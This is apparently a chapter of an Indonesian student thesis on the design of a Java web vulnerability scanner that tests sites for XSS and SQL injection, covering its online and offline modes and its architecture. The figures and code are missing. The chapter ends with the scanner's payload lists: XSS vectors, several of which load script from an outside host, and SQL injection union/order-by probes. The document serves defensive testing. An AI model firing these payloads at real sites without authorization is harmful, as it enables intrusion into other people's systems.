13
BAB IIIPERANCANGAN DAN PEMBUATAN SISTEM 3.1 DESAIN SISTEM
Prosedur perancangan sistem secara umum untuk pembangunan Aplikasi Web Vulnearbility Scanner terhadap kelemahan XSS dan SQL Injection menggunakan Java ini terdiri atas beberapa tahap, antara lain meliputi perancangan :
1. Data
Perancangan data yang dimaksudkan adalah perancangan data-data yang berkaitan dengan pembuatan perangkat lunak, meliputi :
• Data input
Termasuk di dalamnya data-data penunjang sebagai inputan pembuatan sistem.
• Data output
Dari data input di atas, sistem akan menggunakannya hingga didapatkan kesimpulan sebagai output sistem.
2. Proses
Perancangan proses yang dimaksudkan adalah bagaimana sistem akan bekerja, proses-proses yang digunakan, mulai dari masuknya data input yang kemudian diproses oleh sistem hingga menjadi data output.
3. Antarmuka
Perancangan antarmuka mengandung penjelasan tentang desain dan implementasi sistem yang digunakan dalam sistem yang kita dibuat.
14
Secara keseluruhan perancangan sistem atau desain sistem yang akan dibangun :
Gambar 3. 1 Perancangan Sistem secara global
Dari gambar 3.1 dapat diketahui :
1. Aplikasi yang dibangun melakukan request ke server berupa URL yang diinputkan
2. Server memberikan respon berupa HTML
3. Aplikasi WVS menscan respon HTML tersebut, kemudian mendapatkan struktur URL dari hasil scan dan menginjeksi struktur URL tersebut dengan script SQL dan script clientside yang diambil dari Datatext
4. Aplikasi WVS mengirim request ke server berupa struktur hasil scan yang telah di injeksi
5. Server mengirim respon hasil injeksi ke aplikasi WVS 6. Aplikasi WVS memberikan report hasil keseluruhan
15
3.2 PERANCANGAN SISTEMPerancangan sistem ini terdiri atas 2 basis yang akan diuraikan pada sub bab di bawah ini :
3.2.1 Web Vulnerability Scanner Berbasis Online
Pada Web Vulnerability Scanner berbasis online ini berjalan dengan menggunakan koneksi internet. Begitu juga dengan web yang akan di scan adalah web yang berada di internet. Input dari web vulnerability scanner berbasis online ini adalah berupa URL dari web yang akan di scan.
3.2.2 Web Vulnerability Scanner Berbasis Offline
Web Vulnerability Scanner berbasis offline ini berjalan secara offline atau tanpa terkoneksi pada internet. Web yang akan di scan oleh web vulnerability scanner berbasis offline ini adalah web yang berada pada computer local yang dijalankan dengan menggunakan aplikasi webserver. Dan terdapat 2 input untuk web vulnerability scanner berbasis offline ini yang pertama adalah berupa file .ZIP yang berisi file-file dari web yang akan di scan oleh web vulnerability scanner berbasis offline ini. Dan input yang kedua adalah berupa file .SQL yang akan di import ke dalam database yang berfungsi sebagai database dari file .ZIP diatas.
3.3 PERANCANGAN DATA
Dalam perancangan data, akan dijelaskan mengenai data-data yang terdapat dalam sistem sesuai dengan fungsinya sebagai data input sistem.
16
3.3.1 DATA INPUT WVS BERBASIS ONLINE
Untuk menjalankan web vulnerability scanner berbasis online ini menggunakan input berupa :
3.3.1.1 URL
Pada aplikasi ini dibutuhkan input URL yang digunakan untuk mengakses suatu web. URL tersebut kemudian digunakan untuk melakukan request kepada server sehingga server tersebut memberikan respon berupa HTML kepada client. Dan respon berupa HTML tersebut itulah yang akan di scan. Contoh suatu URL :
3.3.2 DATA INPUT WVS BERBASIS OFFLINE
Untuk menjalankan web vulnerability scanner berbasis offline ini diperlukan input berupa :
3.3.2.1 File ZIP
Pada aplikasi web vulnerability scanner offline ini File .ZIP digunakan pada Web Vulnerability Scanner yang berbasis Offline, dimana user memasukkan file .ZIP yang berisi file-file dari web yang akan di scan. Kemudian file .ZIP tersebut akan di-ekstract oleh aplikasi ini menuju folder htdocs/BITWVS yang berada pada
subdirectory dari aplikasi webserver. Sehingga file-file yang telah
di-ekstrak dari dalam file .ZIP tersebut dapat dijalankan pada browser dengan bantuan webserver. Yang kemudian akan di scan oleh aplikasi ini.
3.3.2.2 File SQL
Selain input file .ZIP diatas. File .SQL disini digunakan pada Web Vulnerability Scanner berbasis offline sebagai database dari file-file yang telah diekstrak dari file .ZIP diatas, dimana user memasukkan file .SQL tersebut pada aplikasi yang dibangun ini, yang kemudian file .SQL tersebut akan di-import menuju MySQL DBMS oleh aplikasi web vulnerability scanner berbasis offline ini untuk membangun suatu
17
database yang mana berhubungan dan digunakan oleh file-file web yang telah di ekstrak ke folder htdocs/BITWVS diatas.
3.4 PERANCANGAN PROSES
Perancangan proses pada bagian ini akan menjelaskan tentang bagaimana sebuah input dari user akan diproses menjadi sebuah output yang diharapkan.
18
3.4.1 Proses ScanningPada perancangan sistem aplikasi ini, disediakan form untuk sscanning yang berfungsi untuk men-scan suatu web untuk mendeteksi terhadap kelemahan XSS maupun kelemahan SQL Injection. Berikut diagram alur dari proses Scan XSS dan Scan SQL Injection :
19
20
3.5 PERANCANGAN ANTARMUKA 3.5.1 Blok Arsitektur Sistem WVS OnlineUntuk perancangan antar muka aplikasi WVS berbasis Online, di bawah ini akan ditunjukkan blok arsitektur sistem dari web vulnerability scanner berbasis online yang digunakan pada proyek akhir ini :
Gambar 3. 4 Blok Arsitektur Sistem WVS berbasis online
Dari Gambar 3.4 dapat diketahui :
1. Aplikasi yang dibangun melakukan request ke server berupa URL yang diinputkan
2. Server memberikan respon berupa HTML
3. Aplikasi WVS menscan respon HTML tersebut, kemudian mendapatkan struktur URL dari hasil scan dan menginjeksi parameter dari struktur URL tersebut dengan script SQL dan script clientside yang diambil dari Datatext
21
4. Aplikasi WVS mengirim request ke server berupa struktur URL hasil scan yang telah di injeksi
5. Server mengirim respon hasil injeksi ke aplikasi WVS 6. Aplikasi WVS memberikan report hasil keseluruhan
3.5.2 Blok Arsitektur sistem WVS berbasis Offline
Untuk perancangan antar muka aplikasi WVS berbasis Offline, di bawah ini akan ditunjukkan blok arsitektur sistem dari web vulnerability scanner berbasis online yang digunakan pada proyek akhir ini :
Gambar 3. 5 Blok Arsitektur Sistem WVS berbasis offline
Penjelasan dari Gambar 3.5 adalah :
1. Aplikasi yang dibangun mengambil input berupa file .SQL dan file .ZIP yang berisi file-file web yang akan di scan
2. File .ZIP dan file .SQL tersebut dikirim ke Aplikasi WVS. Kemudian aplikasi WVS akan mengekstrak file .ZIP tersebut kedalam folder htdocs/BITWVS yang berada didalam directory
22
webserver supaya file-file didalamnya dapat dijalankan. Dan aplikasi WVS akan mengimport file .SQL menuju database server, supaya file-file yang telah diekstrak dapat dijalankan sesuai database yang diimport. Kemudian aplikasi WVS akan menscan file .PHP yang telah di inputkan dengan melalui http://localhost/BITWVS
3. Dalam proses scan aplikasi WVS menginjeksikan script yang diambil dari datatext.
4. Setelah itu Aplikasi WVS memberikan report
3.6 IMPLEMENTASI SISTEM
Dari desain sistem yang telah dibuat sebelumnya, maka dapat di implementasikan seperti beberapa contoh tampilan berikut :
23
24
Berikut adalah potongan script dari Proses Scan XSS Online :
25
Gambar 3. 9 Tampilan Laporan Scan XSS
26
Berikut adalah potongan script dari proses Scan SQL Injection :
27
Gambar 3. 12 Tampilan Laporan Scan SQL Injection
28
Berikut adalah potongan script dari proses import file .SQL :
Gambar 3. 14 Potongan script proses import file .sql
Berikut adalah potongan script dari proses ekstrak file .ZIP :
29
30
Berikut adalah potongan script dari proses menampilkan Last Scan Report :
31
Gambar 3. 18 Proses Update selesai
Berikut adalah potongan script dari proses Update :
Gambar 3. 19 Potongan Script Proses Update
32
33
Berikut adalah isi dari datatext script client side yang di injeksikan saat proses Scanning XSS : <H1>XSSEDbyYourself</H1> <H1>XSSED by YourSelf</H1> <SCRIPT SRC=http://spyrozone.net/xss.js></SCRIPT> <IMG SRC="javascript:alert('XSS');"> <IMG SRC=javascript:alert('XSS')> <IMG SRC=JaVaScRiPt:alert('XSS')> <IMG SRC=javascript:alert("XSS")> <IMG SRC=`javascript:alert("Choky says, 'XSS'")`> <IMG """><SCRIPT>alert("XSS")</SCRIPT>"> <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))> <IMG SRC=javascrip 6;:alert('XS 3;')>
<IMG SRC="jav ascript:alert('XSS');"> <IMG SRC="jav	ascript:alert('XSS');"> <IMG SRC="jav
ascript:alert('XSS');"> <IMG SRC="jav
ascript:alert('XSS');"> <IMG SRC="  javascript:alert('XSS');">
<SCRIPT/XSS SRC="http://spyrozone.net/xss.js"></SCRIPT> <BODY onload!#$%&()%%~+-_.,:;?@[/|\]^`=alert("XSS")> <SCRIPT/SRC="http://spyrozone.net/xss.js"></SCRIPT> <<SCRIPT>alert("XSS");//<</SCRIPT> <SCRIPT SRC=http://spyrozone.net/xss.js?<B> <SCRIPT SRC=//spyrozone.net/.j> <IMG SRC="javascript:alert('XSS')" </TITLE><SCRIPT>alert("XSS");</SCRIPT>
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');"> <BODY BACKGROUND="javascript:alert('XSS')"> <BODY ONLOAD=alert('XSS')> <IMG DYNSRC="javascript:alert('XSS')"> <IMG LOWSRC="javascript:alert('XSS')"> <BGSOUND SRC="javascript:alert('XSS');"> <BR SIZE="&{alert('XSS')}"> <LAYER SRC="http://spyrozone.net/scriptlet.html"></LAYER> <LINK REL="stylesheet" HREF="javascript:alert('XSS');"> <IFRAME SRC="javascript:alert('XSS');"></IFRAME>%%
34
Dan berikut adalah isi dari datatext script client side yang di injeksikan saat prose Scanning SQL Injection :
' -1 - 1 order by 1 -- ; 1 order by 3 1 order by 4 1 order by 5
-1 union all select 1,2,3 -1 union all select 1 -1 union all select 1,2 -1 union all select 1,2,3 -1 union select 1,2,3,4 -1 union select 1,2,3,4,5